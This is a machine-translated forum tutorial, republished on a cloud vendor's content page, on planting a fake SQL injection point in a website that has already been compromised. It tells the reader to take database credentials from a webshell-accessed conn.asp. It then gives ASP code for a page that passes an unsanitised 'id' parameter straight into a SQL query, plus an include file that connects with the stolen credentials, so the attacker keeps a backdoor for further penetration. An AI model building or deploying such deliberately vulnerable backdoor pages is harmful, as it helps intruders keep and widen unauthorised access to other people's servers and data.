Self-built injection points facilitate penetration

Source: Internet
Author: User

Today, I saw someone asking me to write a fake injection point in the rootkit forum, so that I can easily penetrate and find more available information.

I have been taking the test for the past two days. If I think about it, I will try again first. If you have any questions, let's discuss it together!

First, you need to get a webshell. In this way, most of the files that connect to the database are conn. asp, which contains mssql users and

Password. You need to find the username, password, and IP address of the database, and connect to the database. As for the connection, you should find the table of the website administrator.

Because I used an administrator table during the test, my friend said that any table name is acceptable. As long as the table exists, the Code is as follows:

Program code
<! -- # Include file = "xx. asp" -->
<%
Set rs = server. createobject ("ADODB. recordset ")
Id = request ("id ")
StrSQL = "select * from admin where id =" & id
Rs. open strSQL, conn, 1, 3
Rs. close
%>

Replace the admin in strSQL = "select * from admin where id =" & id with the table name to be forged.

You can connect to it and check the table name! Here we assume that admin is the table name! Save the file name as needed!

Then we need to construct a file to connect to the database. The Code is as follows:
Program code
<%
StrSQLServerName = "000.000.000.000" server name or address
StrSQLDBUserName = "sqlname" database account
StrSQLDBPassword = "sqlpass" Database Password
StrSQLDBName = "sqldataname" Database Name
Set conn = Server. CreateObject ("ADODB. Connection ")
StrCon = "Provider = SQLOLEDB.1; Persist Security Info = False; Server =" & strSQLServerName & "; User ID =" & strSQLDBUserName & "; Password =" & strSQLDBPassword &"; database = "& strSQLDBName &";"
Conn. open strCon
%>

It should all be done here, so it won't be too long, but note that the saved file name should be the same as the name called by include .. Still,

In this case, under normal circumstances, it will be OK, And the forgery will be successful ......

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.